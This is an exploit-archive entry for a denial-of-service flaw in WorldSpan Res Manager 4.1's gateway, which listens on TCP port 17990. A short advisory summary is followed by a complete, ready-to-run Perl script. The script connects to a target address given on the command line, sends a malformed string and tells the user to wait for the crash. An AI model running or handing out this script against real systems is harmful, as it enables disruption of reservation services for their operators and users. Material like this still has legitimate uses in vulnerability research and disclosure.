source: https://www.securityfocus.com/bid/5169/info It has been reported that WorldSpan Res Manager 4.1 for Microsoft Windows is vulnerable to a denial of service condition. Res Manager systems are connected to Worldspan via private lines or through the Internet. Before accessing Worldspan, clients must first go through a local gateway, which accepts connections from Res Manager clients via TCP port 17990. If a malformed packet is sent to this port, the gateway software attempts to process the packet and eventually crashes. #!/usr/bin/perl #altomo@digitalgangsters.net #Worldspan Gateway DoS $sabre = "worldspanshouldgoboom"; use IO::Socket; $ip = "$ARGV[0]"; $port = "17990"; if ($#ARGV<0) { print " useage: $0 \n"; exit(); } $socket = IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>$ip, PeerPort=>$port,); print "Worldspan Gateway DoS\n"; print "altomo\@digitalgangsters.net\n"; print "Wait about a minute, and it should crash.\n"; print $socket "$sabre\r"; close $socket;